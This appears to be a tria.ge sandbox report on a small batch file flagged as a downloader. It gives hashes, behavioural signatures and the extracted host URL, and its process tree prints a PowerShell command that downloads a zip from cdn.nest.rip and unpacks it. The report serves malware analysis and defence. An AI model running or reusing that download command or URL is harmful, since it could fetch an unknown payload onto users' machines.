Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1376s -
max time network
1166s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
15/10/2023, 00:56
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10v2004-20230915-en
Behavioral task
behavioral15
Sample
tesy.bat
Resource
win10v2004-20230915-en
General
-
Target
tesy - Copy (14).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 792 powershell.exe 792 powershell.exe 3208 powershell.exe 3208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 792 powershell.exe Token: SeDebugPrivilege 3208 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3916 wrote to memory of 792 3916 cmd.exe 86 PID 3916 wrote to memory of 792 3916 cmd.exe 86 PID 3916 wrote to memory of 3208 3916 cmd.exe 90 PID 3916 wrote to memory of 3208 3916 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:792
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5ef5ef35c3059825861b16409862d0e3d
SHA1cde5311765478b1bcf309219c1a86a0238612099
SHA25653df4a6c07213c72fa9c8f1e6c20d5a771d587744f775b4d45b647c1f890cc4b
SHA5123c5814f9f94f4127f175b79e9d95eb7426c67b2d593ef6880c62cc3541d36142b9cb7391e3eac58fe45991d4e5fa7f979c96cba91da2354b7f56d8a2bb76dd20
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82